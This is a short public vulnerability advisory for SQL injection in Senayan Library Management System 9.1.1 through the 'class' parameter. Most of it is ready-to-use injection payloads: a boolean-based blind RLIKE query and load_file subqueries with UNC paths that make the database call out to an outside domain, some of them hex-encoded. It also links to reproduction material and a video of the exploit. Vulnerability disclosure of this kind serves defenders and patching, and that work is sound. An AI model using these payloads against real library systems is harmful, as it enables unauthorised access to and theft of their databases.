Senayan Library Management System 9.1.1 SQL Injection

`## Title: Senayan Library Management System v9.1.1 a.k.a SLIMS 9 SQLi  
## Author: nu11secur1ty  
## Date: 11.09.2022  
## Vendor: https://slims.web.id/web/  
## Software: https://github.com/slims/slims9_bulian/releases/download/v9.1.1/slims9_bulian-9.1.1.zip  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1/SQLi  
  
## Description:  
The `class` parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+'  
was submitted in the class parameter.  
This payload injects a SQL sub-query that calls MySQL's load_file  
function with a UNC file path that references a URL on an external  
domain.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
The attacker can take information from all database columns of this  
system by using this vulnerability.  
  
## STATUS: HIGH Vulnerability - CRITICAL  
  
[+] Payload:  
  
```MySQL  
---  
Parameter: class (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY  
or GROUP BY clause  
Payload: reportView=true&year=2002&class=bbbb'+(select  
load_file('\\\\716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''  
RLIKE (SELECT (CASE WHEN (7860=7860) THEN 0x62626262+(select  
load_file(0x5c5c5c5c37313667623163666539676b6a61347a646a34357178783932303876776c6b636e30656e3662762e736c696d732e7765622e69645c5c6e6271))+''  
ELSE 0x28 END)) AND  
'xGIA'='xGIA&membershipType=a''&collType=aaaa'+(select  
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+'  
---  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1/SQLi)  
  
## Proof and Exploit:  
[href](https://streamable.com/3li3zp)  
  
## Time spent  
`00:30:00`  
  
## Writing an exploit  
`00:15:00`  
  
`